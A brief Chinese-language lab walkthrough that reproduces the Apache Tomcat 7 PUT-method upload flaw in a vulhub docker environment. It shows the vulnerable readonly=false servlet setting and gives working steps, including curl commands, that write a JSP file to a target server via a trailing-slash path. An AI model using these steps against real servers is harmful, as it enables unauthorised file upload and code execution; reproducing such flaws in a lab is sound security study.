受影響的tomcat版本:Apache Tomcat 7.0.0 - 7.0.79
服務器對PUT方法可是要謹慎!!! 不然很容易被搞的。。。
一、環境搭建
vulhub docker
docker-compose up -d
端口是8080
二、漏洞攻擊
1)漏洞配置分析
readonly配置爲爲false導致可寫
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name> //readonly部分爲false導致可寫
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
2)漏洞利用
抓包修改
訪問your-ip:8080,刷新抓包,修改如下:
注意:
- 修改方法爲PUT
- 修改路徑爲/ss.jsp/
路徑最後的/是必須要加上的。
使用curl
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp //put寫文件
curl http://target-host-or-ip-address:port/test.jsp //查看寫上去的文件